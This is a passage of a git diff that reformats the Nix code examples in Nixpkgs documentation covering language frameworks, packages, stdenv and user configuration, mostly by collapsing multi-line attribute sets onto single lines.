@@ -699,9 +693,7 @@ It's important to use the `--offline` flag. For example if you script is `"build
 
 ```nix
 {
-  nativeBuildInputs = [
-    writableTmpDirAsHomeHook
-  ];
+  nativeBuildInputs = [ writableTmpDirAsHomeHook ];
 
   buildPhase = ''
     runHook preBuild
@@ -716,9 +708,7 @@ It's important to use the `--offline` flag. For example if you script is `"build
 The `distPhase` is packing the package's dependencies in a tarball using `yarn pack`. You can disable it using:
 
 ```nix
-{
-  doDist = false;
-}
+{ doDist = false; }
 ```
 
 The configure phase can sometimes fail because it makes many assumptions which may not always apply. One common override is:
@@ -829,8 +819,8 @@ It's recommended to ensure you're explicitly pinning the major version used, for
 
 let
   yarn-berry = yarn-berry_4;
-in
 
+in
 stdenv.mkDerivation (finalAttrs: {
   pname = "foo";
   version = "0-unstable-1980-01-01";
@@ -884,8 +874,8 @@ To compensate for this, the `yarn-berry-fetcher missing-hashes` subcommand can b
 
 let
   yarn-berry = yarn-berry_4;
-in
 
+in
 stdenv.mkDerivation (finalAttrs: {
   pname = "foo";
   version = "0-unstable-1980-01-01";
diff --git a/doc/languages-frameworks/lisp.section.md b/doc/languages-frameworks/lisp.section.md
index 7f6fe99419bd..965913b8d66f 100644
--- a/doc/languages-frameworks/lisp.section.md
+++ b/doc/languages-frameworks/lisp.section.md
@@ -49,9 +49,7 @@ Also one can create a `pkgs.mkShell` environment in `shell.nix`/`flake.nix`:
 let
   sbcl' = sbcl.withPackages (ps: [ ps.alexandria ]);
 in
-mkShell {
-  packages = [ sbcl' ];
-}
+mkShell { packages = [ sbcl' ]; }
 ```
 
 Such a Lisp can be now used e.g. to compile your sources:
@@ -188,11 +186,7 @@ let
       hash = "sha256-1Hzxt65dZvgOFIljjjlSGgKYkj+YBLwJCACi5DZsKmQ=";
     };
   };
-  sbcl' = sbcl.withOverrides (
-    self: super: {
-      inherit alexandria;
-    }
-  );
+  sbcl' = sbcl.withOverrides (self: super: { inherit alexandria; });
 in
 sbcl'.pkgs.alexandria
 ```
diff --git a/doc/languages-frameworks/neovim.section.md b/doc/languages-frameworks/neovim.section.md
index 71bc52b541dc..84a568597cd5 100644
--- a/doc/languages-frameworks/neovim.section.md
+++ b/doc/languages-frameworks/neovim.section.md
@@ -117,9 +117,7 @@ top-level while luarocks installs them in various subfolders by default.
 For instance:
 ```nix
 {
-  rtp-nvim = neovimUtils.buildNeovimPlugin {
-    luaAttr = luaPackages.rtp-nvim;
-  };
+  rtp-nvim = neovimUtils.buildNeovimPlugin { luaAttr = luaPackages.rtp-nvim; };
 }
 ```
 To update these packages, you should use the lua updater rather than vim's.
diff --git a/doc/languages-frameworks/nim.section.md b/doc/languages-frameworks/nim.section.md
index ef3ecbba7d74..465aa9cdf16c 100644
--- a/doc/languages-frameworks/nim.section.md
+++ b/doc/languages-frameworks/nim.section.md
@@ -26,9 +26,7 @@ buildNimPackage (finalAttrs: {
 
   lockFile = ./lock.json;
 
-  nimFlags = [
-    "-d:NimblePkgVersion=${finalAttrs.version}"
-  ];
+  nimFlags = [ "-d:NimblePkgVersion=${finalAttrs.version}" ];
 })
 ```
 
diff --git a/doc/languages-frameworks/octave.section.md b/doc/languages-frameworks/octave.section.md
index 858dd611198f..116bb63f354a 100644
--- a/doc/languages-frameworks/octave.section.md
+++ b/doc/languages-frameworks/octave.section.md
@@ -44,9 +44,7 @@ This will also work in a `shell.nix` file.
 }:
 
 pkgs.mkShell {
-  nativeBuildInputs = with pkgs; [
-    (octave.withPackages (opkgs: with opkgs; [ symbolic ]))
-  ];
+  nativeBuildInputs = with pkgs; [ (octave.withPackages (opkgs: with opkgs; [ symbolic ])) ];
 }
 ```
 
diff --git a/doc/languages-frameworks/php.section.md b/doc/languages-frameworks/php.section.md
index ce97da872677..7a6ef2b25a78 100644
--- a/doc/languages-frameworks/php.section.md
+++ b/doc/languages-frameworks/php.section.md
@@ -267,13 +267,7 @@ php.buildComposerProject2 (finalAttrs: {
 
   # PHP version containing the `ast` extension enabled
   php = php.buildEnv {
-    extensions = (
-      { enabled, all }:
-      enabled
-      ++ (with all; [
-        ast
-      ])
-    );
+    extensions = ({ enabled, all }: enabled ++ (with all; [ ast ]));
   };
 
   # The composer vendor hash
diff --git a/doc/languages-frameworks/python.section.md b/doc/languages-frameworks/python.section.md
index af951cc3e805..4bdc92bd7ca9 100644
--- a/doc/languages-frameworks/python.section.md
+++ b/doc/languages-frameworks/python.section.md
@@ -126,9 +126,7 @@ buildPythonPackage rec {
     pluggy
   ];
 
-  nativeCheckInputs = [
-    hypothesis
-  ];
+  nativeCheckInputs = [ hypothesis ];
 
   meta = {
     changelog = "https://github.com/pytest-dev/pytest/releases/tag/${version}";
@@ -272,16 +270,8 @@ be used through out all of the Python package set:
   python3MyBlas = pkgs.python3.override {
     packageOverrides = self: super: {
       # We need toPythonModule for the package set to evaluate this
-      blas = super.toPythonModule (
-        super.pkgs.blas.override {
-          blasProvider = super.pkgs.mkl;
-        }
-      );
-      lapack = super.toPythonModule (
-        super.pkgs.lapack.override {
-          lapackProvider = super.pkgs.mkl;
-        }
-      );
+      blas = super.toPythonModule (super.pkgs.blas.override { blasProvider = super.pkgs.mkl; });
+      lapack = super.toPythonModule (super.pkgs.lapack.override { lapackProvider = super.pkgs.mkl; });
     };
   };
 }
@@ -324,9 +314,7 @@ python3Packages.buildPythonApplication rec {
     hash = "sha256-Pe229rT0aHwA98s+nTHQMEFKZPo/yw6sot8MivFDvAw=";
   };
 
-  build-system = with python3Packages; [
-    setuptools
-  ];
+  build-system = with python3Packages; [ setuptools ];
 
   dependencies = with python3Packages; [
     tornado
@@ -358,9 +346,7 @@ the attribute in `python-packages.nix`, and the `toPythonApplication` shall be
 applied to the reference:
 
 ```nix
-{
-  python3Packages,
-}:
+{ python3Packages }:
 
 python3Packages.toPythonApplication python3Packages.youtube-dl
 ```
@@ -396,9 +382,7 @@ mkPythonMetaPackage {
   pname = "psycopg2-binary";
   inherit (psycopg2) optional-dependencies version;
   dependencies = [ psycopg2 ];
-  meta = {
-    inherit (psycopg2.meta) description homepage;
-  };
+  meta = { inherit (psycopg2.meta) description homepage; };
 }
 ```
 
@@ -444,9 +428,7 @@ let
   pythonEnv = myPython.withPackages (ps: [ ps.my-editable ]);
 
 in
-pkgs.mkShell {
-  packages = [ pythonEnv ];
-}
+pkgs.mkShell { packages = [ pythonEnv ]; }
 ```
 
 #### `python.buildEnv` function {#python.buildenv-function}
@@ -943,9 +925,7 @@ buildPythonPackage rec {
     hash = "sha256-CP3V73yWSArRHBLUct4hrNMjWZlvaaUlkpm1QP66RWA=";
   };
 
-  build-system = [
-    setuptools
-  ];
+  build-system = [ setuptools ];
 
   # has no tests
   doCheck = false;
@@ -1002,9 +982,7 @@ with import <nixpkgs> { };
         hash = "sha256-CP3V73yWSArRHBLUct4hrNMjWZlvaaUlkpm1QP66RWA=";
       };
 
-      build-system = [
-        python312.pkgs.setuptools
-      ];
+      build-system = [ python312.pkgs.setuptools ];
 
       # has no tests
       doCheck = false;
@@ -1081,9 +1059,7 @@ buildPythonPackage rec {
     hash = "sha256-FLLvdm1MllKrgTGC6Gb0k0deZeVYvtCCLji/B7uhong=";
   };
 
-  build-system = [
-    setuptools
-  ];
+  build-system = [ setuptools ];
 
   dependencies = [
     multipledispatch
@@ -1091,9 +1067,7 @@ buildPythonPackage rec {
     python-dateutil
   ];
 
-  nativeCheckInputs = [
-    pytestCheckHook
-  ];
+  nativeCheckInputs = [ pytestCheckHook ];
 
   meta = {
     changelog = "https://github.com/blaze/datashape/releases/tag/${version}";
@@ -1134,9 +1108,7 @@ buildPythonPackage rec {
     hash = "sha256-s9NiusRxFydHzaNRMjjxFcvWxfi45jGb9ql6eJJyQJk=";
   };
 
-  build-system = [
-    setuptools
-  ];
+  build-system = [ setuptools ];
 
   buildInputs = [
     libxml2
@@ -1198,9 +1170,7 @@ buildPythonPackage rec {
     hash = "sha256-9ru2r6kwhUCaskiFoaPNuJCfCVoUL01J40byvRt4kHQ=";
   };
 
-  build-system = [
-    setuptools
-  ];
+  build-system = [ setuptools ];
 
   buildInputs = [
     fftw
@@ -1301,11 +1271,7 @@ To use `pytestCheckHook`, add it to `nativeCheckInputs`.
 Adding `pytest` is not required, since it is included with `pytestCheckHook`.
 
 ```nix
-{
-  nativeCheckInputs = [
-    pytestCheckHook
-  ];
-}
+{ nativeCheckInputs = [ pytestCheckHook ]; }
 ```
 
 `pytestCheckHook` recognizes the following attributes:
@@ -1334,9 +1300,7 @@ The following example demonstrates usage of various `pytestCheckHook` attributes
 
 ```nix
 {
-  nativeCheckInputs = [
-    pytestCheckHook
-  ];
+  nativeCheckInputs = [ pytestCheckHook ];
 
   # Allow running the following test paths and test objects.
   enabledTestPaths = [
@@ -1396,9 +1360,7 @@ by disabling tests that match both `"Foo"` **and** `"bar"`:
 {
   __structuredAttrs = true;
 
-  disabledTests = [
-    "Foo and bar"
-  ];
+  disabledTests = [ "Foo and bar" ];
 }
 ```
 
@@ -1486,9 +1448,7 @@ we can do:
     "pkg1"
     "pkg3"
   ];
-  pythonRemoveDeps = [
-    "pkg2"
-  ];
+  pythonRemoveDeps = [ "pkg2" ];
 }
 ```
 
@@ -1503,9 +1463,7 @@ Another option is to pass `true`, that will relax/remove all dependencies, for
 example:
 
 ```nix
-{
-  pythonRelaxDeps = true;
-}
+{ pythonRelaxDeps = true; }
 ```
 
 which would result in the following `requirements.txt` file:
@@ -1541,9 +1499,7 @@ automatically add `pythonRelaxDepsHook` if either `pythonRelaxDeps` or
 
 ```nix
 {
-  nativeCheckInputs = [
-    unittestCheckHook
-  ];
+  nativeCheckInputs = [ unittestCheckHook ];
 
   unittestFlags = [
     "-s"
@@ -1569,9 +1525,7 @@ render them using the default `html` style.
     "doc"
   ];
 
-  nativeBuildInputs = [
-    sphinxHook
-  ];
+  nativeBuildInputs = [ sphinxHook ];
 }
 ```
 
@@ -1646,9 +1600,7 @@ buildPythonPackage rec {
     hash = "sha256-CP3V73yWSArRHBLUct4hrNMjWZlvaaUlkpm1QP66RWA=";
   };
 
-  build-system = [
-    setuptools
-  ];
+  build-system = [ setuptools ];
 
   meta = {
     changelog = "https://github.com/pytoolz/toolz/releases/tag/${version}";
@@ -1711,14 +1663,10 @@ with import <nixpkgs> { };
           });
         };
       in
-      pkgs.python310.override {
-        inherit packageOverrides;
-      };
+      pkgs.python310.override { inherit packageOverrides; };
 
   in
-  python.withPackages (ps: [
-    ps.pandas
-  ])
+  python.withPackages (ps: [ ps.pandas ])
 ).env
 ```
 
@@ -1737,16 +1685,9 @@ with import <nixpkgs> { };
 
 (
   let
-    packageOverrides = self: super: {
-      scipy = super.scipy_0_17;
-    };
+    packageOverrides = self: super: { scipy = super.scipy_0_17; };
   in
-  (pkgs.python310.override {
-    inherit packageOverrides;
-  }).withPackages
-    (ps: [
-      ps.blaze
-    ])
+  (pkgs.python310.override { inherit packageOverrides; }).withPackages (ps: [ ps.blaze ])
 ).env
 ```
 
@@ -1994,11 +1935,7 @@ this snippet:
 
 ```nix
 {
-  myPythonPackages = python3Packages.override {
-    overrides = self: super: {
-      twisted = <...>;
-    };
-  };
+  myPythonPackages = python3Packages.override { overrides = self: super: { twisted = <...>; }; };
 }
 ```
 
diff --git a/doc/languages-frameworks/qt.section.md b/doc/languages-frameworks/qt.section.md
index cdbcb3aefb7c..f667eeb5bb81 100644
--- a/doc/languages-frameworks/qt.section.md
+++ b/doc/languages-frameworks/qt.section.md
@@ -52,7 +52,7 @@ Add entries to `qtWrapperArgs` are to modify the wrappers created by
 stdenv.mkDerivation {
   # ...
   nativeBuildInputs = [ qt6.wrapQtAppsHook ];
-  qtWrapperArgs = [ ''--prefix PATH : /path/to/bin'' ];
+  qtWrapperArgs = [ "--prefix PATH : /path/to/bin" ];
 }
 ```
 
diff --git a/doc/languages-frameworks/ruby.section.md b/doc/languages-frameworks/ruby.section.md
index d11078aacaf2..859083e97101 100644
--- a/doc/languages-frameworks/ruby.section.md
+++ b/doc/languages-frameworks/ruby.section.md
@@ -172,7 +172,9 @@ let
   myRuby = pkgs.ruby.override {
     defaultGemConfig = pkgs.defaultGemConfig // {
       pg = attrs: {
-        buildFlags = [ "--with-pg-config=${pkgs."postgresql_${pg_version}".pg_config}/bin/pg_config" ];
+        buildFlags = [
+          "--with-pg-config=${pkgs."postgresql_${pg_version}".pg_config}/bin/pg_config"
+        ];
       };
     };
   };
@@ -193,7 +195,9 @@ let
     gemdir = ./.;
     gemConfig = pkgs.defaultGemConfig // {
       pg = attrs: {
-        buildFlags = [ "--with-pg-config=${pkgs."postgresql_${pg_version}".pg_config}/bin/pg_config" ];
+        buildFlags = [
+          "--with-pg-config=${pkgs."postgresql_${pg_version}".pg_config}/bin/pg_config"
+        ];
       };
     };
   };
diff --git a/doc/languages-frameworks/rust.section.md b/doc/languages-frameworks/rust.section.md
index 39a24856cd31..6146d539ff2b 100644
--- a/doc/languages-frameworks/rust.section.md
+++ b/doc/languages-frameworks/rust.section.md
@@ -62,9 +62,7 @@ hash using `nix-hash --to-sri --type sha256 "<original sha256>"`.
 :::
 
 ```nix
-{
-  cargoHash = "sha256-l1vL2ZdtDRxSGvP0X/l3nMw8+6WF67KPutJEzUROjg8=";
-}
+{ cargoHash = "sha256-l1vL2ZdtDRxSGvP0X/l3nMw8+6WF67KPutJEzUROjg8="; }
 ```
 
 If this method does not work, you can resort to copying the `Cargo.lock` file into nixpkgs
@@ -77,9 +75,7 @@ then be taken from the failed build. A fake hash can be used for
 `cargoHash` as follows:
 
 ```nix
-{
-  cargoHash = lib.fakeHash;
-}
+{ cargoHash = lib.fakeHash; }
 ```
 
 Per the instructions in the [Cargo Book](https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html)
@@ -478,11 +474,7 @@ and fetches every dependency as a separate fixed-output derivation.
 `importCargoLock` can be used as follows:
 
 ```nix
-{
-  cargoDeps = rustPlatform.importCargoLock {
-    lockFile = ./Cargo.lock;
-  };
-}
+{ cargoDeps = rustPlatform.importCargoLock { lockFile = ./Cargo.lock; }; }
 ```
 
 If the `Cargo.lock` file includes git dependencies, then their output
@@ -1000,8 +992,8 @@ let
     cargo = rust-bin.selectLatestNightlyWith (toolchain: toolchain.default);
     rustc = rust-bin.selectLatestNightlyWith (toolchain: toolchain.default);
   };
-in
 
+in
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "ripgrep";
   version = "14.1.1";
diff --git a/doc/languages-frameworks/scheme.section.md b/doc/languages-frameworks/scheme.section.md
index b18ff2d7dee0..33cfd9d68ada 100644
--- a/doc/languages-frameworks/scheme.section.md
+++ b/doc/languages-frameworks/scheme.section.md
@@ -25,7 +25,6 @@ primarily for Chez Scheme in a derivation, one might write:
     akkuPackages.chez-srfi
   ];
 }
-
 ```
 
 The package index is located in `pkgs/tools/package-management/akku`
diff --git a/doc/languages-frameworks/swift.section.md b/doc/languages-frameworks/swift.section.md
index b9d4b5a7cba8..c1e9b3a458b1 100644
--- a/doc/languages-frameworks/swift.section.md
+++ b/doc/languages-frameworks/swift.section.md
@@ -80,8 +80,8 @@ expression. The next step is to write that expression:
 let
   # Pass the generated files to the helper.
   generated = swiftpm2nix.helpers ./nix;
-in
 
+in
 stdenv.mkDerivation (finalAttrs: {
   pname = "myproject";
   version = "0.0.0";
@@ -125,17 +125,13 @@ stdenv.mkDerivation (finalAttrs: {
 If you'd like to build a different configuration than `release`:
 
 ```nix
-{
-  swiftpmBuildConfig = "debug";
-}
+{ swiftpmBuildConfig = "debug"; }
 ```
 
 It is also possible to provide additional flags to `swift build`:
 
 ```nix
-{
-  swiftpmFlags = [ "--disable-dead-strip" ];
-}
+{ swiftpmFlags = [ "--disable-dead-strip" ]; }
 ```
 
 The default `buildPhase` already passes `-j` for parallel building.
@@ -149,9 +145,7 @@ Including `swiftpm` in your `nativeBuildInputs` also provides a default
 `checkPhase`, but it must be enabled with:
 
 ```nix
-{
-  doCheck = true;
-}
+{ doCheck = true; }
 ```
 
 This essentially runs: `swift test -c release`
diff --git a/doc/languages-frameworks/texlive.section.md b/doc/languages-frameworks/texlive.section.md
index b3a13dc8b8d2..0b9c2b89a4c0 100644
--- a/doc/languages-frameworks/texlive.section.md
+++ b/doc/languages-frameworks/texlive.section.md
@@ -214,24 +214,20 @@ let
 
   latex_with_foiltex = texliveSmall.withPackages (_: [ foiltex ]);
 in
-runCommand "test.pdf"
-  {
-    nativeBuildInputs = [ latex_with_foiltex ];
-  }
-  ''
-    cat >test.tex <<EOF
-    \documentclass{foils}
+runCommand "test.pdf" { nativeBuildInputs = [ latex_with_foiltex ]; } ''
+  cat >test.tex <<EOF
+  \documentclass{foils}
 
-    \title{Presentation title}
-    \date{}
+  \title{Presentation title}
+  \date{}
 
-    \begin{document}
-    \maketitle
-    \end{document}
-    EOF
-      pdflatex test.tex
-      cp test.pdf $out
-  ''
+  \begin{document}
+  \maketitle
+  \end{document}
+  EOF
+    pdflatex test.tex
+    cp test.pdf $out
+''
 ```
 
 ## LuaLaTeX font cache {#sec-language-texlive-lualatex-font-cache}
@@ -239,15 +235,11 @@ runCommand "test.pdf"
 The font cache for LuaLaTeX is written to `$HOME`.
 Therefore, it is necessary to set `$HOME` to a writable path, e.g. [before using LuaLaTeX in nix derivations](https://github.com/NixOS/nixpkgs/issues/180639):
 ```nix
-runCommandNoCC "lualatex-hello-world"
-  {
-    buildInputs = [ texliveFull ];
-  }
-  ''
-    mkdir $out
-    echo '\documentclass{article} \begin{document} Hello world \end{document}' > main.tex
-    env HOME=$(mktemp -d) lualatex  -interaction=nonstopmode -output-format=pdf -output-directory=$out ./main.tex
-  ''
+runCommandNoCC "lualatex-hello-world" { buildInputs = [ texliveFull ]; } ''
+  mkdir $out
+  echo '\documentclass{article} \begin{document} Hello world \end{document}' > main.tex
+  env HOME=$(mktemp -d) lualatex  -interaction=nonstopmode -output-format=pdf -output-directory=$out ./main.tex
+''
 ```
 
 Additionally, [the cache of a user can diverge from the nix store](https://github.com/NixOS/nixpkgs/issues/278718).
diff --git a/doc/languages-frameworks/typst.section.md b/doc/languages-frameworks/typst.section.md
index 3a4910ad8489..5d95f44ae7ad 100644
--- a/doc/languages-frameworks/typst.section.md
+++ b/doc/languages-frameworks/typst.section.md
@@ -25,9 +25,7 @@ typst.withPackages.override
     typstPackages = old.typstPackages.extend (
       _: previous: {
         polylux_0_4_0 = previous.polylux_0_4_0.overrideAttrs (oldPolylux: {
-          src = oldPolylux.src.overrideAttrs {
-            outputHash = YourUpToDatePolyluxHash;
-          };
+          src = oldPolylux.src.overrideAttrs { outputHash = YourUpToDatePolyluxHash; };
         });
       }
     );
@@ -47,10 +45,7 @@ typst.withPackages.override
 Here's how to define a custom Typst package:
 
 ```nix
-{
-  buildTypstPackage,
-  typstPackages,
-}:
+{ buildTypstPackage, typstPackages }:
 
 buildTypstPackage (finalAttrs: {
   pname = "my-typst-package";
diff --git a/doc/packages/cataclysm-dda.section.md b/doc/packages/cataclysm-dda.section.md
index 2e7d86f951b8..8e0232724c06 100644
--- a/doc/packages/cataclysm-dda.section.md
+++ b/doc/packages/cataclysm-dda.section.md
@@ -29,9 +29,7 @@ The default configuration directory is `~/.cataclysm-dda`. If you prefer
 `$XDG_CONFIG_HOME/cataclysm-dda`, override the derivation:
 
 ```nix
-cataclysm-dda.override {
-  useXdgDir = true;
-}
+cataclysm-dda.override { useXdgDir = true; }
 ```
 
 ## Important note for overriding packages {#important-note-for-overriding-packages}
@@ -62,10 +60,10 @@ let
 
   # or by using a helper function `attachPkgs`.
   goodExample2 = attachPkgs pkgs myCDDA;
-in
 
-# badExample                     # parallel building disabled
-# goodExample1.withMods (_: [])  # parallel building enabled
+  # badExample                     # parallel building disabled
+  # goodExample1.withMods (_: [])  # parallel building enabled
+in
 goodExample2.withMods (_: [ ]) # parallel building enabled
 ```
 
@@ -75,11 +73,7 @@ To install Cataclysm DDA with mods of your choice, you can use `withMods`
 attribute:
 
 ```nix
-cataclysm-dda.withMods (
-  mods: with mods; [
-    tileset.UndeadPeople
-  ]
-)
+cataclysm-dda.withMods (mods: with mods; [ tileset.UndeadPeople ])
 ```
 
 All mods, soundpacks, and tilesets available in nixpkgs are found in
diff --git a/doc/packages/inkscape.section.md b/doc/packages/inkscape.section.md
index 192c059cd2a0..7cc349c1e0b0 100644
--- a/doc/packages/inkscape.section.md
+++ b/doc/packages/inkscape.section.md
@@ -8,9 +8,7 @@ To enable them, use an override on `inkscape-with-extensions`:
 
 ```nix
 inkscape-with-extensions.override {
-  inkscapeExtensions = with inkscape-extensions; [
-    inkstitch
-  ];
+  inkscapeExtensions = with inkscape-extensions; [ inkstitch ];
 }
 ```
 
diff --git a/doc/packages/kakoune.section.md b/doc/packages/kakoune.section.md
index 8e054777a757..db264558808b 100644
--- a/doc/packages/kakoune.section.md
+++ b/doc/packages/kakoune.section.md
@@ -3,7 +3,5 @@
 Kakoune can be built to autoload plugins:
 
 ```nix
-(kakoune.override {
-  plugins = with pkgs.kakounePlugins; [ parinfer-rust ];
-})
+(kakoune.override { plugins = with pkgs.kakounePlugins; [ parinfer-rust ]; })
 ```
diff --git a/doc/packages/urxvt.section.md b/doc/packages/urxvt.section.md
index e31f0756eb19..8e4dc220312a 100644
--- a/doc/packages/urxvt.section.md
+++ b/doc/packages/urxvt.section.md
@@ -77,9 +77,7 @@ A plugin can be any kind of derivation, the only requirement is that it should a
 If the plugin is itself a Perl package that needs to be imported from other plugins or scripts, add the following passthrough:
 
 ```nix
-{
-  passthru.perlPackages = [ "self" ];
-}
+{ passthru.perlPackages = [ "self" ]; }
 ```
 
 This will make the urxvt wrapper pick up the dependency and set up the Perl path accordingly.
diff --git a/doc/release-notes/rl-2505.section.md b/doc/release-notes/rl-2505.section.md
index 73bfea0370de..48b1318a0ca1 100644
--- a/doc/release-notes/rl-2505.section.md
+++ b/doc/release-notes/rl-2505.section.md
@@ -489,8 +489,8 @@
   ```nix
   let
     pkgs = import <nixpkgs> { };
-  in
 
+  in
   pkgs.caddy.withPlugins {
     plugins = [
       # tagged upstream
diff --git a/doc/stdenv/cross-compilation.chapter.md b/doc/stdenv/cross-compilation.chapter.md
index e115d9d103ae..fcaa659f12e0 100644
--- a/doc/stdenv/cross-compilation.chapter.md
+++ b/doc/stdenv/cross-compilation.chapter.md
@@ -135,9 +135,7 @@ Some frequently encountered problems when packaging for cross-compilation should
 Many packages assume that an unprefixed binutils (`cc`/`ar`/`ld` etc.) is available, but Nix doesn't provide one. It only provides a prefixed one, just as it only does for all the other binutils programs. It may be necessary to patch the package to fix the build system to use a prefix. For instance, instead of `cc`, use `${stdenv.cc.targetPrefix}cc`.
 
 ```nix
-{
-  makeFlags = [ "CC=${stdenv.cc.targetPrefix}cc" ];
-}
+{ makeFlags = [ "CC=${stdenv.cc.targetPrefix}cc" ]; }
 ```
 
 #### How do I avoid compiling a GCC cross-compiler from source? {#cross-qa-avoid-compiling-gcc-cross-compiler}
@@ -152,9 +150,7 @@ $ nix-build '<nixpkgs>' -A pkgsCross.raspberryPi.hello
 Add the following to your `mkDerivation` invocation.
 
 ```nix
-{
-  depsBuildBuild = [ buildPackages.stdenv.cc ];
-}
+{ depsBuildBuild = [ buildPackages.stdenv.cc ]; }
 ```
 
 #### My package’s testsuite needs to run host platform code. {#cross-testsuite-runs-host-code}
@@ -162,9 +158,7 @@ Add the following to your `mkDerivation` invocation.
 Add the following to your `mkDerivation` invocation.
 
 ```nix
-{
-  doCheck = stdenv.buildPlatform.canExecute stdenv.hostPlatform;
-}
+{ doCheck = stdenv.buildPlatform.canExecute stdenv.hostPlatform; }
 ```
 
 #### Package using Meson needs to run binaries for the host platform during build. {#cross-meson-runs-host-code}
@@ -175,13 +169,9 @@ e.g.
 
 ```nix
 {
-  nativeBuildInputs =
-    [
-      meson
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    meson
+  ] ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [ mesonEmulatorHook ];
 }
 ```
 
diff --git a/doc/stdenv/meta.chapter.md b/doc/stdenv/meta.chapter.md
index 18cf5be10d45..6f092d406126 100644
--- a/doc/stdenv/meta.chapter.md
+++ b/doc/stdenv/meta.chapter.md
@@ -108,9 +108,7 @@ The *priority* of the package, used by `nix-env` to resolve file name conflicts
 The list of Nix platform types on which the package is supported. Hydra builds packages according to the platform specified. If no platform is specified, the package does not have prebuilt binaries. An example is:
 
 ```nix
-{
-  meta.platforms = lib.platforms.linux;
-}
+{ meta.platforms = lib.platforms.linux; }
 ```
 
 Attribute Set `lib.platforms` defines [various common lists](https://github.com/NixOS/nixpkgs/blob/master/lib/systems/doubles.nix) of platforms types.
@@ -164,9 +162,7 @@ This means that `broken` can be used to express constraints, for example:
 - Does not cross compile
 
   ```nix
-  {
-    meta.broken = !(stdenv.buildPlatform.canExecute stdenv.hostPlatform);
-  }
+  { meta.broken = !(stdenv.buildPlatform.canExecute stdenv.hostPlatform); }
   ```
 
 - Broken if all of a certain set of its dependencies are broken
diff --git a/doc/stdenv/stdenv.chapter.md b/doc/stdenv/stdenv.chapter.md
index 6851294ddf96..ec99bc356f1e 100644
--- a/doc/stdenv/stdenv.chapter.md
+++ b/doc/stdenv/stdenv.chapter.md
@@ -501,11 +501,7 @@ let
     # An example of an attribute containing a function
     passthru.appendPackages =
       packages':
-      finalAttrs.finalPackage.overrideAttrs (
-        newSelf: super: {
-          packages = super.packages ++ packages';
-        }
-      );
+      finalAttrs.finalPackage.overrideAttrs (newSelf: super: { packages = super.packages ++ packages'; });
 
     # For illustration purposes; referenced as
     # `(pkg.overrideAttrs(x)).finalAttrs` etc in the text below.
@@ -745,9 +741,7 @@ The file name of the Makefile.
 A list of strings passed as additional flags to `make`. These flags are also used by the default install and check phase. For setting make flags specific to the build phase, use `buildFlags` (see below).
 
 ```nix
-{
-  makeFlags = [ "PREFIX=$(out)" ];
-}
+{ makeFlags = [ "PREFIX=$(out)" ]; }
 ```
 
 ::: {.note}
@@ -797,9 +791,7 @@ It is highly recommended, for packages' sources that are not distributed with an
 Controls whether the check phase is executed. By default it is skipped, but if `doCheck` is set to true, the check phase is usually executed. Thus you should set
 
 ```nix
-{
-  doCheck = true;
-}
+{ doCheck = true; }
 ```
 
 in the derivation to enable checks. The exception is cross compilation. Cross compiled builds never run tests, no matter how `doCheck` is set, as the newly-built program won’t run on the platform used to build it.
@@ -852,9 +844,7 @@ See the [build phase](#var-stdenv-makeFlags) for details.
 The make targets that perform the installation. Defaults to `install`. Example:
 
 ```nix
-{
-  installTargets = "install-bin install-doc";
-}
+{ installTargets = "install-bin install-doc"; }
 ```
 
 ##### `installFlags` / `installFlagsArray` {#var-stdenv-installFlags}
@@ -1043,9 +1033,7 @@ It is often better to add tests that are not part of the source distribution to
 Controls whether the installCheck phase is executed. By default it is skipped, but if `doInstallCheck` is set to true, the installCheck phase is usually executed. Thus you should set
 
 ```nix
-{
-  doInstallCheck = true;
-}
+{ doInstallCheck = true; }
 ```
 
 in the derivation to enable install checks. The exception is cross compilation. Cross compiled builds never run tests, no matter how `doInstallCheck` is set, as the newly-built program won’t run on the platform used to build it.
diff --git a/doc/using/configuration.chapter.md b/doc/using/configuration.chapter.md
index 3467021715e6..94dd11d5c7d9 100644
--- a/doc/using/configuration.chapter.md
+++ b/doc/using/configuration.chapter.md
@@ -21,9 +21,7 @@ In particular, all build-time dependencies are checked.
 A user's Nixpkgs configuration is stored in a user-specific configuration file located at `~/.config/nixpkgs/config.nix`. For example:
 
 ```nix
-{
-  allowUnfree = true;
-}
+{ allowUnfree = true; }
 ```
 
 :::{.caution}
@@ -44,9 +42,7 @@ There are two ways to try compiling a package which has been marked as broken.
 -   For permanently allowing broken packages to be built, you may add `allowBroken = true;` to your user's configuration file, like this:
 
     ```nix
-    {
-      allowBroken = true;
-    }
+    { allowBroken = true; }
     ```
 
 
@@ -63,9 +59,7 @@ There are also two ways to try compiling a package which has been marked as unsu
 -   For permanently allowing unsupported packages to be built, you may add `allowUnsupportedSystem = true;` to your user's configuration file, like this:
 
     ```nix
-    {
-      allowUnsupportedSystem = true;
-    }
+    { allowUnsupportedSystem = true; }
     ```
 
 The difference between a package being unsupported on some system and being broken is admittedly a bit fuzzy. If a program *ought* to work on a certain platform, but doesn't, the platform should be included in `meta.platforms`, but marked as broken with e.g.  `meta.broken = !hostPlatform.isWindows`. Of course, this begs the question of what "ought" means exactly. That is left to the package maintainer.
@@ -90,9 +84,7 @@ There are several ways to tweak how Nix handles a package which has been marked
     This option is a function which accepts a package as a parameter, and returns a boolean. The following example configuration accepts a package and always returns false:
 
     ```nix
-    {
-      allowUnfreePredicate = (pkg: false);
-    }
+    { allowUnfreePredicate = (pkg: false); }
     ```
 
     For a more useful example, try the following. This configuration only allows unfree packages named roon-server and visual studio code:
@@ -151,11 +143,7 @@ There are several ways to tweak how Nix handles a package which has been marked
     The following example configuration permits the installation of the hypothetically insecure package `hello`, version `1.2.3`:
 
     ```nix
-    {
-      permittedInsecurePackages = [
-        "hello-1.2.3"
-      ];
-    }
+    { permittedInsecurePackages = [ "hello-1.2.3" ]; }
     ```
 
 -   It is also possible to create a custom policy around which insecure packages to allow and deny, by overriding the `allowInsecurePredicate` configuration option.
@@ -165,13 +153,7 @@ There are several ways to tweak how Nix handles a package which has been marked
     The following configuration example allows any version of the `ovftool` package:
 
     ```nix
-    {
-      allowInsecurePredicate =
-        pkg:
-        builtins.elem (lib.getName pkg) [
-          "ovftool"
-        ];
-    }
+    { allowInsecurePredicate = pkg: builtins.elem (lib.getName pkg) [ "ovftool" ]; }
     ```
 
